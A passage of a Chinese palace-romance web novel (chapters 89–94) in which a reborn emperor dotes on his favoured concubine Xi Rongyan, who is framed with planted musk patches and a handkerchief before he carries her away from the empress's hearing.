《疯批帝王重生后,她被强取豪夺了》
第89章 沉默的猛兽
席容烟本用手指正拨弄着小案上的香梨,冷不防一抬眼,和皇上的视线对上,还是心头一颤。
皇上本就生的颀长,坐在那处不说话的时候当真看起来冷清严肃,也当真瞧起来不敢接近。
皇上那双见了太多死人与血的眼睛,面无表情时,那双眼就格外的冷情阴沉,让人不敢对视。
即便此刻皇上的眼里是如常的温和,席容烟还是有一丝发慌。
魏祁静静看着席容烟手指上的动作,又看向席容烟的发间,忽然问:“朕送你的玉兰簪呢?”
席容烟不知怎么的,居然被皇上的眼神看得有一些心虚,小声道:“那是皇上赐给臣妾的御赐之物,臣妾怕坏了,放在匣子里的。”
其实席容烟真是那般想的。
那是皇上亲手刻的簪子,与寻常簪子不同,万一摔坏了皇上问责怎么办。
魏祁挑眉。
他唇畔抿了抿,目光落在席容烟有些不安的手指上,微沉的眼眸动了动,也只是低声道:“朕喜欢看烟儿戴那只玉兰簪。”
“只是从麓山回来后,烟儿再没戴过了。”
席容烟没想到皇上连这样的小事都注意到了。
她心里还在想赏花宴的事情,想着与皇上说还是与皇后说,便有些心不在焉的点头:“那臣妾明日便簪上。”
这种细微的情绪,魏祁很快就能捕捉到。
甚至一想到她现在或许又在因为赏花宴的事想顾家那个死人时,他压抑的那一股郁气便无法舒展。
魏祁静静看着席容烟在烛光下的脸庞:“烟儿,为朕更衣吧。”
席容烟还怔了一瞬,从前皇上从不叫她近身伺候更衣,都是让宫女做的。
所以这些日子她也懒了,皇上来或者走,她也没想要过去伺候。
但席容烟还是明白自己的身份的,她站起来走到皇上面前,在皇上沉缓的目光中去解皇上的衣扣。
皇上生的高大,席容烟微微垫着脚,她目光落在皇上的衣襟前,不知怎么的有些发慌,连抬头都不敢。
从前皇上也不大说话的,但今天的沉默好似有点不大一样。
席容烟规规矩矩给皇上解了玉佩更完衣,再抬头时腰肢已经被皇上揽在了怀里。
皇上垂眸看着怀里的人,山眉水眼,他手指摩挲在那纤细的腰肢上,弯下腰看着她:“烟儿今天想朕了么?”
席容烟脸颊红尽,感觉自己的整个身子都靠着皇上托在她腰肢上的手,她有些难受,只好绵软软的用手揽住皇上的脖子,抬眸看着皇上黑漆漆的眸子,如同寻常一样的温和,又好似在隐隐生气。
她也看不明白,只是闭着眼,心里紧张的咚咚直跳,轻轻垫脚吻上了皇上的下巴,又小声道:“臣妾想的。”
等能反应的时候也已来不及了,身子被皇上横抱着往床榻上,席容烟还有些害羞的忙拉了拉皇上的袖子:“臣妾的珠钗还在。”
魏祁抱着席容烟坐在了床沿,虽心急却依旧耐心的将她发上的玉簪拿下来,免得待会儿伤着她了。
他紧紧看着她羞涩的眼睛,体内的躁郁让他长吐出一口气,又低头吻向她唇畔。
他不说话,如一头沉默的猛兽,在暗色中肆意抢夺自己看中的猎物。
厚厚的床帐隔绝了里面的场景,但低低轻泣声在深夜也依旧断断续续。
最后帘子掀开,叫水的时候,席容烟连睁眼的力气都没有。
她只知道自己被皇上抱着去了浴房,又抱着回来,被皇上裹进他的怀里。
魏祁的手指很轻松的就摸到那只依旧放在她枕下的桃花簪,他在暗色中一只手摩挲着桃花簪,一边垂眸问怀里软成一摊水的人:“过几日就是赏花宴,你想去么。”
席容烟迷迷糊糊,身上软疼,低低唔了一声,也不知是应还是不应。
尖利的簪子几乎要刺进皮肤,魏祁又松了手,依旧完完好好的将簪子放在枕下。
第二日席容烟醒来时,皇上早穿戴整齐了。
她撑着身子坐起来,皇上就坐在床沿边看她。
他目光扫过席容烟松开的衣襟口锁骨上的红痕,心底的燥郁舒了些,又如同往日一样将席容烟的身子抱进怀里,低声问:“朕昨夜弄疼你了么?”
席容烟听着皇上宠溺的声音,胆子也大了些,小声道:“有点疼。”
昨夜其实席容烟有些被皇上吓到了,从前皇上都会温柔的在意她的感受,昨夜的皇上力气有些大,像与寻常不一样。
魏祁抿抿唇轻拍席容烟的后背,修长的手指从她背脊划到她腰后,声音永远沉稳又低缓:“下回朕轻一些。”
他又松开怀里的人,低头看去:“这几日好好吃药没有?”
席容烟就点头:“臣妾都吃了的。”
魏祁才低笑一声,弯腰在她额头上吻了一下,这才起身离去。
玉竹进来帮席容烟收拾的时候,才看见她身上星星点点的红。
不由惊诧道:“皇上怎么昨夜那么大的力气,从前可没这样的。”
席容烟埋在被子里,身上酸软的厉害,懒洋洋的喃喃:“我也不知道。”
她现在一闭上眼睛,都仿佛还能听见昨夜皇上在她耳边的喘息声,热切的,让她脑中一片空白。
玉竹见着席容烟软绵绵的,又叫宝珠拿药膏进来,一边给席容烟身上的红痕擦药,一边又低声道:“也不知主子什么时候能怀上。”
“皇上来这么勤,应该也快了吧。”
席容烟没有说话,她闭着眼睛,在想昨夜她半梦半醒时梦见的那个梦境。
昨夜皇上的动作,喘息,与她梦中的那个男人渐渐变成了一个人。
他在情浓时会抱着她一声声喊烟儿,又会忽然紧紧捏着她的手臂,重重的吻下来。
她没有半点反抗的余地。
她恍恍惚惚的,竟将皇上当成了梦境里的那个人。
要不是皇上忽然吻在她颈边带来的一丝痒让她回神,她大抵都已经分不清是不是还身在梦中。
又觉得自己大抵是在胡思乱想,她在闺中时与皇上也不过寥寥几面,怎么又会梦见与皇上的那种梦境。
第90章 长记性了?
早上席容烟往皇后那里去后,皇后最后才说今年的赏花宴取消了。
但皇后又说,即便不大办赏花宴,她们后妃却却是要办一场的。
还说那日太后和皇上会来,让众人的眼里又燃起一丝高兴来。
能见到皇上,便有了机会。
众人又小声议论。
众人议论纷纷的,皇后也仅仅看了一眼下面,就起身离开。
她最后的视线停留在席容烟身上,本来她还想借着赏花宴的事情让席容烟和顾家的事情被重提,现在看来也是不可能了。
她甚至有一瞬的想,皇上今年忽然做这样的决定,是不是也有一分原因是因为席容烟。
她皱了皱眉。
席容烟听到这消息时也诧异了一下,本她还担心怎么与皇上说,现下看来也不需要怎么担心了。
出去时谢雨眠问席容烟:“后日的赏花宴,你去么?”
席容烟默默看了谢雨眠一眼点头:"这样的场合,我定然要去的。"
谢雨眠便又低声道:“上回我远远见着你在花园子里走,瞧着二公主好似十分喜欢你。”
“丽妃是皇后的人,你现在和丽妃也亲近了?”
“我们才是姐妹。”
席容烟笑了下:“我知晓她是皇后的人,但是二公主不过才四岁,又知晓什么呢。”
说着又看着谢雨眠轻声道:“我自小与姐姐长大,姐姐对我亦知根知底,在姐姐心里,我究竟是什么样的人,姐姐应该清楚。”
“姐姐清楚我为人,就知道我对姐姐一向真心,一直拿姐姐当姐妹,若是姐姐不清楚我为人,那是姐姐从来未将我当作过姐妹过。”
席容烟说完这话,无声的转身从谢雨眠面前离开。
谢雨眠愣愣看着席容烟的背影,心里慌了下。
路上宝珠小声问席容烟:“主子说是不是谢主子要……”
席容烟侧头看向宝珠:“你别提这事。”
宝珠又老老实实的闭了嘴。
回去后,玉竹忙着用早上接的花露给席容烟煮茶,又笑道:“这可是宝珠一大早带着宫人去接的,您不是最喜欢么?”
“奴婢还在里面加了茯苓和桃花,听说最养颜了。”
席容烟撑着头,看着沸腾的茶水白雾直冒,熏出来的热气让席容烟用扇挡着,雾气中又见宫人端着药过来,那是每日两回的补气血的药。
席容烟接过来,忽然又朝着玉竹开口:“我喝这药,还不如吃气血丸不是,那还不苦。”
玉竹抬头:"您忘了您将气血丸送给谢主子了?"
席容烟便道:“我向皇上讨,应该能讨到吧?”
说出口的时候,席容烟还微怔了一下。
她什么时候竟也觉得向皇上讨东西是自然而然的事情,仿佛她依赖皇上,是觉得皇上会纵容她。
玉竹一边为席容烟倒茶,一边笑道:“皇上赐了您那么多好东西,只要您开口,皇上定然会答应的。”
“有时候奴婢瞧着皇上也是喜欢主子的厉害。”
席容烟看着玉竹将茶盏斟满,耳边又传来玉竹的话:“奴婢还听说皇上还从来没这么宠幸过人呢,连着两月多大半都是歇在主子这里。”
“即便皇上没来,也留在明德殿,还总关心主子吃药,这是皇上真心对主子好。”
席容烟看着手中的药碗,又低头喝了一口药汁,苦涩的味道溢满口腔,她想着别人总说一口喝完就不苦了,便也这样打算。
只是到底也不行,她喝了两口便受不住,干呕起来。
玉竹忙去给席容烟净口,又给席容烟塞了颗酸梅,无奈:“您得一口一口喝还能喝些,您喝一大口就得吐出一半来,何必折腾呢。”
席容烟含着梅子,又看了看还剩下的半碗药,觉着这药本也没必要喝的,她头疼本也是装的,就让宝珠拿去倒了。
宝珠犹豫:“万一皇上知晓了怎么办?”
席容烟抬头瞧她:"偷偷倒在桃花树下就是,这时候皇上不会来的。"
结果中午皇上就来了一趟,不仅亲自喂了席容烟喝了一碗的药,还罚她跟着他去宣政殿给他伺候笔墨。
席容烟站在皇上身边,一边研磨一边好奇的问:“皇上怎么知道臣妾没吃药?”
魏祁目光虽落在折子上,余光处却在席容烟身上,淡淡的开口:“桃树下的药味儿还没散。”
席容烟暗道还该让宝珠用土给埋着,谁知道皇上的鼻子这么灵。
席容烟又小声问:“那补气血的可以吃药丸么?”
魏祁抿唇。
那补气血的药不仅仅是给席容烟补气血的,还是给她助孕的。
席容烟等了良久也没等到皇上再开口,心里忐忑不已,本是想着皇上该不会答应了,没想又听皇上低低的一句:“待会儿瞧你表现。”
席容烟这才忙低头认真研墨起来。
她还从未自己研墨过,没一会儿手就酸了,偏偏皇上用墨批注很快,她得时不时的加水研磨。
当皇上搁下笔的那一刻,席容烟也觉得如释重负。
魏祁握住席容烟的两只手指,看着她白净的指尖上沾染上了一点墨,异常的明显,便叫宫人拿来帕子来,一边细心的为席容烟将磨痕擦去,一边又抬起那双讳莫如深的黑眸看着面前有些委屈的人:“长记性了?"
看着人委屈,又心疼的抱着人坐在腿上:“朕是为着你身子好的。”
席容烟听着皇上温柔的声音,仿佛从前大哥劝她吃药那般,她微微侧头看向皇上:“臣妾不头疼了。”
说着她又揽着皇上的脖子靠在皇上的肩膀上:“臣妾真的好了,那每日两回的药就免了吧。”
温香软玉扑来,带着席容烟身上特有的暖香,声音又如莺啼,魏祁手指抚在席容烟后背上,其实早妥协了。
不过是给她长长记性,往后别用称病来骗他。
他经不住她的骗,也当真担心她。
魏祁没说话,只是将人抱紧的动作已经让席容烟感觉到了他的心软。
席容烟知道皇上的话少,安安静静的埋在皇上怀里。
外头通传皇后来见皇上时,席容烟这才要从皇上的身上起来。
魏祁倒是松开了人,又低低对着席容烟嘱咐:“头疼的药可以不喝了,但朕待会儿给你送气血丸去,可不许不吃。”
“朕担心你。”
席容烟就忙点头答应。
魏祁静静看着席容烟这点头的模样,目光又落在她今日特意戴着的玉兰簪上。
看了半晌,又替她整理了衣裙,才放人去。
第91章 下回不许不看朕
到了第二日时,昨夜皇上没来,席容烟身边没了那紧紧抱着的手臂,虽说不习惯,但也一觉睡到了天亮去。
皇后说今日不用问安,卯正的时候去园子里就好。
宝珠着急的给席容烟穿戴:"听说园子里今日还摆了秋千,还有还有花宴,主子快些,也去瞧瞧热闹。"
席容烟看宝珠拿了一身牡丹色的衣裳来,忙让她换一件来:“今儿太后皇后在的,听说皇上还来,我穿这么艳做什么?”
宝珠一愣,脱口道:"奴婢听说其他宫的穿的比这还艳。"
“都等着在皇上面前露脸呢。”
席容烟也依旧让玉竹给她穿素净些。
她自己知道自己已经够受宠了,没必要再去惹人眼,和人争。
等到了地方,席容烟看了看,唯她最素净。
这时候快开始了,已有宫人奏雅乐,宫女捧着蔷薇露往看台上去。
又见看台那头所有的嫔妃都坐在两边围着皇后和太后,席容烟也忙走了过去。
她去的时候正瞧见皇后牵着大殿下的手对太后笑道:“恒儿这几月课业繁忙,去瞧您的时候少,今日听说您要来,就特意央了老师半天的假,说要来陪您说话呢。”
太后笑着牵着魏恒的手,含笑问了几句三字经,又对皇后夸赞道:“倒是被你教养的好。”
皇后一边给太后斟茶,一边谦逊道:“是恒儿记得太后的教诲。”
席容烟听着那边的话,又见谢雨眠朝她招手,她稍微犹豫,还是走了过去坐下,打算等皇后和太后说完了再过去问安。
面前放着凭几,上面铺着织金稠,地上放着簟席,桌上摆着花觞,香炉,还有一壶蔷薇露,配着旁边一碟腌制梅子吃,味道极好。
席容烟从前来时也馋宫里的腌梅,这会儿正想吃一颗,哪想太后瞧见了她,就朝她招手:“容烟,来哀家身边坐。”
太后亲近的称呼,和席容烟一过去太后就紧握住席容烟的手的动作,都一览无遗的暴露在众人的目光中。
让众人都明白,太后心疼这个侄女。
正说话的时候,远处就有太监高声传皇上来了。
所有人都顿住动作,看向那过来的玄色龙袍。
皇后忙站起来牵着魏恒迎过去,席容烟也跟着其他人站了起来。
席容烟这才算真见到了皇上身上的那股肃冷的生疏。
她又想到昨日皇上罚她研墨时严肃的神态,好似比这会儿还缓和些。
魏祁过去先给太后问安,接着又坐在了主位上。
太后本想让席容烟去给皇上斟茶的,哪想皇后先让魏恒去斟茶,且魏恒虽说不大,但做事沉稳,有条不絮的,也稳稳当当的将茶送到了父皇的面前:“儿臣请父皇喝茶。”
小小的身姿笔直,声音清冷,魏祁淡淡看了魏恒一眼,从他手上接过了茶盏。
皇后又在旁笑道:“恒儿,你不是一直想让你父皇抱抱你么?”
魏恒抬头看向高大的魏祁,寡言沉稳的性子,也只有在面对父皇时有一点颤音犹豫:“父皇能抱抱儿臣么?”
从前魏恒来自己身边,几乎都是表现自己,还从来没有主动让他抱过。
魏祁挑眉,扫了眼旁边的皇后,又看了眼自己的这个儿子。
其实从前他对自己的这个儿子还算满意的。
他还记得他十三岁时候的样子。
满朝都夸他聪慧能干与沉稳,老师说他万事一点都透,小小年纪已经对政事有独到见解。
只是这个孩子城府太深,太聪明。
又太冷情了。
才十三岁的孩子,就已经知道什么是他最关键的软肋。
他知道席容烟常带她的孩子去池边看鱼,用了两个月,将池边的泥土挖中空,只为等待机会杀一个四岁孩子。
又留下痕迹,让一个形似高义的人出现在那地方,让席容烟以为是他让人动的手。
这孩子知道席容烟的孩子一死,席容烟再没活下去的牵挂,还会恨他。
自己因为席容烟的死病了好大一场,差点死在那场伤心欲绝的痛苦里。
这孩子的确差点就成功了。
差点害死他的父亲,作为他唯一的儿子,差一点就顺理成章的登上皇位。
魏祁默然将魏恒抱在怀里,他眼神复杂的看着魏恒伸手环在他的腰上,像是渴望父亲疼爱的一个六岁的孩子。
他的眼里甚至还有泪光,
现在这个孩子还小,就已经会伪装了。
他前世为席容烟伤神伤心太久,又卧病在塌,差点忘了这个儿子在暗中搞的那些动作。
太后看着皇上抱着大殿下的这一幕,不动声色的皱眉。
听说朝中已经在催着皇上立太子了,如今又看皇上对魏恒像是十分满意,她到底也心下担忧。
忠靖候府如今权势正盛,在朝中也有些人脉,万一皇上真立了太子,除非太子犯了大错,不然不会轻易废太子的。
况且魏恒她明白,的确聪慧能干,行事更是规矩,虽是年纪小,但也能看得出来将来会是合格的储君。
皇后看着这一幕,脸上惊喜的笑道:“皇上,您瞧恒儿多高兴。”
席容烟微微侧身看过去,只看见皇上垂眸看着怀里的大殿下,看不出是什么表情,但又见着皇后往皇上面前微微靠近的笑意,她说不清是什么心情。
手指又觉得一紧,她一愣,低头看过去,是姑母紧紧握着她的手。
皇上很快将大殿下放下,皇后又叫丽妃将二公主领过来,皇上也只看了一眼,又陪太后说了几句话。
他余光处落到太后身边的席容烟身上,看她捏着扇子好似有些心不在焉的,到底又侧头看去,见她目光全没在自己身上,就望着那几个舞姬瞧。
也不知道到底在瞧什么。
其他女子巴不得往他面前凑,她却一声不吭的躲在太后的身边。
又见她发上还簪着那只玉兰簪,心头缓了下,又默了神情,指尖打在膝盖上。
那头一曲霓裳舞罢,黄贵人一身桃红长袖裙过来皇上面前问安,又小声问:“太后娘娘,皇上,皇后娘娘可喜欢嫔妾的舞?”
黄贵人本就相貌娇好,额上一点红色的桃花样,朱唇粉面,乌发如云,颊上还有薄汗,又细腰盈盈,一副撩人动人的模样。
皇后笑道:“我知道你的舞一向好。”
又侧头看向皇上问:“皇上觉得呢?”
魏祁眉目间依旧没有任何情绪流露,只是站了起来,看了眼皇后:“往后不用安排这些。”
说罢就要离开。
皇后心里紧了紧,今日这一出是她特意安排的,但每年的赏花会不都是这样么。
她本还安排了嫔妃去皇上面前献颂花诗赋,总不能将所有恩宠都放在那一人身上。
但她看着皇上的神情,还是一如既往的听话顺从又大度,站起来要去送。
魏祁看了一眼那跟着站起来的人,还是忍不住走到席容烟身边,捏了捏她的手,往她额上吻了一下,低声道:“怎么朕来也没见往朕面前过来?”
席容烟一愣,脸颊泛起了红晕。
魏祁又低笑:“下回不许不看朕了。”
说完才走了。
黄贵人和其他人愣愣站在原地看着这一幕,烟波薄纱被微风吹起粼粼波光,她却心思跌到了谷底。
刚才皇上甚至都没往她身上看一眼。
皇后忍着情绪看了一眼失神的黄贵人,低声道:“今日你也辛苦了,先去换身衣裳再来吧。”
黄贵人福了礼,忍了眼里的泪,低头走了。
席容烟瞧着黄贵人的背影,又听旁边有人低声窃笑:“看她刚才舞的那么卖力,我都觉得皇上今夜会去她那儿了。”
她只觉得额头上被皇上吻过的温度还在。
太后打算先走了。
只是走的时候太后让席容烟送她。
半路上太后撩起席容烟的袖子,白净的手臂上只有一只碧玉镯,不由皱眉低问:“哀家给你的镯子怎么不用?”
“哀家听说皇上一月里大半都留在你那儿,你怎么还没动静?”
席容烟低头扶着太后:“我也不明白。”
太后长叹息一声:“容烟,早点怀上皇上的孩子。”
“不能再拖了,朝中已经有人提出来让皇上立太子了。”
席容烟低低应着,送着太后走了一段路,才折返回去。
回去时,谢雨眠又往席容烟打招呼,让她来身边坐。
席容烟看着谢雨眠的动作,有些失望的抿了抿唇,本不想过去,又还是去她身边坐下。
才坐下一会儿,对面的林才人就忽然问:“珍嫔脚下的是什么东西?”
皇后听见声音也看过去,又让身边的宫女去捡来看看。
那宫女捡起来看了下,又闻了闻,才对着皇后道:“奴婢瞧不出是什么东西,但闻着好香,和珍嫔娘娘身上的香一样。”
第92章 被诬陷
众人听了林才人的话,往那宫女手上看过去,许多人也不认识,就疑惑的问:“这是什么?”
“是珍嫔的?”
皇后看着这幕,又看了谢雨眠脸上微微有些紧张的表情一眼,对着俞嬷嬷道:“去拿来我瞧瞧。”
俞嬷嬷去一拿过来,只近了看了一眼,就知道是什么东西了。
她俯身在皇后的耳边低声道:“这好像是麝香贴。”
“味道闻着也像,青楼女子用来避免身孕的。”
俞嬷嬷的声音虽低,但是却十分清晰,离得近的嫔妃都听得清楚楚楚。
席容烟不动声色的看着这样的场景。
原来这是麝香贴,青楼女子用的。
席容烟那日见着这东西就觉得不对,将这东西扔到了表姐床底下。
只要表姐不害她,这东西就不会被人知道。
她后头大抵还会拿走。
只是到底她也失望了。
好在刚才从林才人看到那东西的一刻,席容烟就叫玉竹去叫太后了,她知道自己那里并没有这东西,所以并不慌。
谢雨眠侧头看了看席容烟的神色,又将手放在席容烟手背上,低声劝慰道:“妹妹别紧张,或许是误会。”
旁边的谭婕妤忽然朝着席容烟淡笑了一声:“不是自己的东西紧张什么?”
“难道那东西真是妹妹的?”
席容烟看了谭婕妤一眼,抿了抿唇:“我没有紧张,这也不是我的东西。”
谭婕妤就笑了下:“也是,真巧了,怎么就和妹妹身上的味道一样呢。”
皇后往席容烟那边看去一眼,又看了一眼议论纷纷的众人,低声道:“先别吵。”
“事情真相出来之前,谁也不许胡说。”
说着又对着俞嬷嬷吩咐:“去叫太医过来看看,这到底是什么东西。”
又让众人一起去长春宫大殿,审理这事。
众嫔妃到了长春宫时,太后也来了。
皇后见到太后过来一愣,看了席容烟一眼,又客客气气的说了事情。
太后坐在皇后的身边冷笑:“哪个傻子会做这样的事?”
“要是信了这栽赃,那才是脑子有问题。”
皇后笑了笑:“母后这话也不能这么说,谁知道做这事的人心里怎么想的呢。”
正说着,太医很快匆匆赶来,一见着俞嬷嬷手上的东西,又拿到近前闻了一下,脸色也是一变。
他后退一步,连忙拱手:“回太后娘娘,皇后娘娘的话,这的确是麝香贴。”
“是青楼女子常备之物。”
太医的话才刚落,底下就传来窃窃私语。
皇后看向太后道:“此事事大,本宫协理后宫,定然要查明白。”
“那东西既然是从珍嫔脚下发现的,本宫定然要让人去搜。”
“再有本宫一视同仁,所有人的宫殿,本宫都会让人去搜查一遍。”
太后冷冷看了眼皇后,这种手段从前她见的多了,她淡淡道:“倒是可行,不过去搜查珍嫔和谢才人的宫殿,必须要有哀家的人跟着。”
刚才在路上玉竹将事情急急忙忙的给她说了,现在她心里有了底,唯一担心的是皇后的人把谢雨眠那里查到的东西说成是席容烟的,她才要自己的人跟着,以防万一。
皇后笑了笑:“好。”
宣政殿内,魏祁负手站在窗前,静静的听着高义传来的话。
临到末尾了,高义又低声道:“现在东西在珍嫔娘娘那儿搜出来了,如今矛头都指向了珍嫔娘娘,陛下要不要去看一看?”
他还想说皇上将本来已经放到谢才人那里的东西又放回到了珍嫔那里,待会儿定然是会对珍嫔不利的。
魏祁不说话,稍微等了等又大步走了出去。
这头长春宫内,俞嬷嬷已经将搜到的东西都呈在了皇后和太后的面前,低声道:“其他宫的娘娘那里什么都没有搜到,但在珍嫔娘娘那里搜到的东西却不少。”
席容烟看到俞嬷嬷手上的东西时脸色一变,那荷包她明明放去了谢雨眠那里,又怎么被俞嬷嬷找到了。
不由侧头看向身边的宝珠。
宝珠脸色惨白,吓得快晕了过去,连连摇头,她当真不知道,她亲手扔的,怎么还会回去?
太后的脸色也微微一变,她看着身边跟着一起过去的婆子,那婆子脸上僵硬,又轻轻点头,表示那真是在席容烟那儿找到的。
宋贺兰淡淡看了眼席容烟,又静静看向面前的荷包,拿在手里打开,看了一眼,又让人拿去给太医看。
直到太医仔细看过后,说里头的是麝香贴,皇后才好整以暇的看着席容烟,脸色也冷了下去:“如今人赃并获,珍嫔,你还有什么话要说的。”
席容烟不知道到底出错在哪里,为什么该从谢雨眠那里搜出来的东西会在自己那里。
她明明后来都没让谢雨眠去过她寝殿。
太后的人也跟着,按道理来说不该有错,还是说她上回没找干净。
上头皇后的眼神咄咄逼人,她忙道:“臣妾自进宫以来便规矩本分,这等东西且不说嫔妾从未见过,便是嫔妾为何要用这种东西?”
皇后冷哼一声:“你还在狡辩。”
说着她将宫女呈上来的托盘上的那方白手帕拿到手上,目光冷冷的看着席容烟:“这手帕上还绣着韫玉两字,是从你书里的夹页上找到的,你怕是心里还惦记着顾家的?你心里不肯进宫,所以对皇上有二心是不是?!”
那手帕席容烟完全不认得,更没让谢雨眠去过自己书房拿过书,怎么帕子又在书里。
玉竹脸色也一变,那什么荷包帕子,全都是莫须有的东西,她要上前帮主子开口,席容烟就已经朝着皇后开口道:“嫔妾自进宫起便断了从前宫外的事情,更从未对皇上有过二心。”
说着席容烟跪下去,低声道:“嫔妾请求请皇上和太后来一起彻查此事。”
席容烟话落下去,殿内就有冷笑声传来:“她以为皇上还会宠她么?”
又有人笑:“我就说平日里皇上那么宠她,她还一副低调的样子,看样子是心里还有别的人。”
“啧啧,她这算不算谋害皇嗣?”
一旦从前高位上的人坠下来,曾经只能仰望的其他人都会去踩上一脚。
宋贺兰静静听着殿内对席容烟的嘲讽,她看着那个跪在中间脸色苍白的人,唇边已经按压不下要扬起的弧度。
谢雨眠果真是有些本事的。
她知道男人最忌讳什么。
试问有几个男人能忍受自己用心宠爱的女人背着自己避胎,心里还心心念念的想着其他男人?
即便皇上真的心里偏袒,心里到底埋下了怀疑的种子,席容烟也不会受宠多久。
谢雨眠倒是够狠,是要将席容烟压的翻不了身。
果真,身边亲近的人下手最是厉害。
她如今只希望,谢雨眠做的够干净。
不过此刻,太后威严的话打断她的思绪:“就如珍嫔说的,去请皇上来。”
“几件东西就定罪了不成?”
“谁知道是谁放的。”
“这件事要彻查!”
宋贺兰看着太后:“这样的事何必麻烦皇上?难不成母后也包庇不成?”
“这么多人,只在珍嫔那里搜出了东西,还说明不了问题?本宫是皇后,有权处置了她。”
“罚她卸去称号送去昭云寺,她谋害皇嗣,对皇上不忠,本宫已经是开恩了。”
皇后的话一落下,殿内的人脸上都带起了笑意。
谢雨眠一直低着头,拢着袖子默然看着席容烟躬身跪下的背影,唇边微微勾起了笑。
只是在这时,忽听外头一声洪亮的声音:“皇上驾到——”
第93章 在众人中抱着她离开
殿内的众人听到皇上来了都一愣,又连忙纷纷站起了身。
魏祁大步跨进去时,一眼见到的就是席容烟跪地的模样。
素净的一身,在这些花红柳绿的女人里,显得形单影只和单薄。
是他一手纵容的今日的事情,不过是想让她看清后宫这些女人的面目。
她出了事,无一人站出来为她说话。
都冷眼旁观的看着她跪着。
心疼她的唯有他罢了。
前世这些女人要有机会害她,定然不会放过害她的机会,她竟也为她们的死伤心,与他怄气,恨他处置这些女人。
现在她该知道,这些女人根本不值得她维护同情。
魏祁的脸色并不好,惯常的冷酷神情让皇后心里也凝了凝。
她打算开口时,又见皇上径直走到了席容烟的身边,一弯腰就将跪在地上的人抱进了怀里。
他垂眸看着她苍白的脸颊,抿紧唇,一字不说的就大步离去。
皇后呆呆看着皇上离去的背影,身上晃了晃,几乎没有稳住身形。
她第一次保持不了仪态,朝着皇上的背影大声的喊:“陛下知道珍嫔做了什么么?”
“她背着人用麝香避胎,还藏着顾家郎君的手帕在书册里。”
“她这么做说明她还没有忘了旧人!”
“难道陛下还要护着她么。”
只是直到她喊出最后一声,那抱着席容烟离开的背影,一刻也没有停下过。
谢雨眠亦脸色苍白的呆呆看着皇上离去的背影,她忽然觉得自己追不上了,永远都追不上了。
自己永远都没法与席容烟比。
即便席容烟真的不再受宠,皇上也不会多看她一眼。
其他嫔妃看着皇上抱着席容烟离去的背影也是脸色微变。
席容烟都做出了这等事情,皇上居然还二话不说的抱走了席容烟。
众人脸色惊异,不由又看向皇后,六神无主。
太后好整以暇的笑了笑,又冷眼看了皇后一眼,轻快的带着人离开。
宋贺兰只觉得神志晃了晃,也没有管下头的嫔妃都如何表情,跌跌撞撞转身往内殿走去。
这头席容烟直到被皇上抱着走了出去,她才反应过来。
她怔怔看了皇上半晌,见着皇上也在低眉看她,沉静的眸子里一如从前那样温和,心头霎时间便涌上了许多委屈,头一低就埋在皇上的怀里哭起来。
她哭的声音虽细,却也是真真切切的委屈,又紧紧拽着皇上的袖子哽咽着:“那麝香贴臣妾从前从未见过。”
“还有那帕子,臣妾也不知道它是怎么到了书册里的。”
说着席容烟又抬起泪盈盈的泪眼看着皇上:“求皇上相信臣妾的话。”
魏祁只瞧了一眼人的模样,便知道是当真委屈了。
泪珠子跟珍珠似的一颗一颗的滚,秀挺的鼻头和眼眶都哭的通红,也没有停歇的意思。
直到抱着人回了明德殿,人还在缩在他怀里抽抽搭搭的哽咽,委屈极了。
他低头看了一会儿,想着人哭的渴了,又让人去倒茶来。
玉竹和宝珠看着着这架势,刚才差点吓死的心现在也稍微回落了些,赶紧去办。
席容烟被皇上喂了一口茶的时候,她其实已经是哭的差不多了。
委屈是真委屈,但她被陷害针对,那时候手上又没有凭证证据,只能赌上皇上对自己的那一些情意,看皇上的态度,再想法子。
这会儿她伸手主动揽上皇上的肩膀,又楚楚可怜的抬头,埋在皇上的怀里哽咽:“那些东西是有人偷偷放进来的。”
“或许是臣妾宫里的宫人有问题,又或是来过臣妾屋里的人也有问题。”
“还有那什么麝香贴,宫内哪能有这样的东西,臣妾从前更没见过,一定是有人去宫外带的。”
“查一查后宫里进出宫的,兴许能查到些。”
说着席容烟小心翼翼的抬头,用那双水盈盈的杏眸看着皇上的神情:“臣妾不求其他的,只求皇上给臣妾一个清白。”
“别冤枉了臣妾对皇上的心。”
说这些的时候,席容烟的心里还是有些不安的。
其实她想说是表姐放去了她那里,可一来她没证据,二来她也将那东西放到了表姐那儿,可表姐那儿却没有。
还有一模一样的那个荷包,表姐后来没来过,表姐身边的人也没来过,到底是谁又放进去的,她真有些拿不准到底是谁,难道是表姐收买了含元殿的宫女?
魏祁低低对上席容烟的眼神,伸手擦去她眼角的泪光,微微叹息:“朕抱着你从皇后那里回来,还不够信你?”
席容烟一眨眼,又是一颗泪珠子:“臣妾只是害怕……”
魏祁失笑,伸手拍了拍席容烟的后背,又低沉的开口:“含元殿的每一个宫女,都是朕亲自为你选的可信之人。”
“放那些东西的人不会是殿中宫人。”
说着魏祁垂眸:“烟儿,含元殿还有谁来过。”
席容烟抬眸:“还有臣妾的表姐,只有她来过。”
“其实那个荷包臣妾知道是表姐扔在臣妾那儿的,她上回昏倒,将那个东西扔在了臣妾床榻下,可臣妾发现拿走了,不该再有的。”
魏祁轻轻拍了拍席容烟后背,冷清的声音缓缓:“朕会为你做主的。”
他又低头吻了吻她泪光,看她这般委屈,到底也心疼。
但这件事后,席容烟也会明白,这后宫里唯一她可依靠的人只有他。
唯一可以为她避风避雨的也是他。
皇上这话给了席容烟莫大的安慰与安心,抱在皇上的颈窝处蹭了蹭,刚才慌乱无错的心绪,在皇上寥寥几字下竟平复下来。
屋内此刻静谧无声,魏祁修长的手指依旧落在席容烟的后背抚慰着,带着让人安心的力道。
不疾不徐。
席容烟又忽然抬头看向皇上问:“皇上为什么这么相信臣妾?”
“难道皇上从来没有怀疑过臣妾么?”
魏祁低低垂眸,眼波滚动,看着面前茫然的面庞,他眷念的目光落在她脸颊上的每一寸肌肤上,都无比让他贪念。
这是失而复得的情绪,想要将从前没有给她的都给她。
魏祁搂紧席容烟的肩膀,黑眸看着她:“那烟儿骗过朕么。”
第94章 烟儿,朕对你的好,你全忘了?
席容烟听到皇上的话一愣,下意识的就摇头。
魏祁笑了笑,低头抚向她脸庞:“这便是了。”
“朕永远信你。”
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夜里临近五月的天气却下起了大雨。
大雨如柱,打在瓦檐上,发出不小的声音。
魏祁换了一身鹤衣,一身闲适的坐明德殿的内殿里,静静看着跪在自己面前的谢雨眠。
“朕听闻你从前与珍嫔交好,你如实告诉朕,皇后搜出来的那方帕子,到底是不是珍嫔的。”
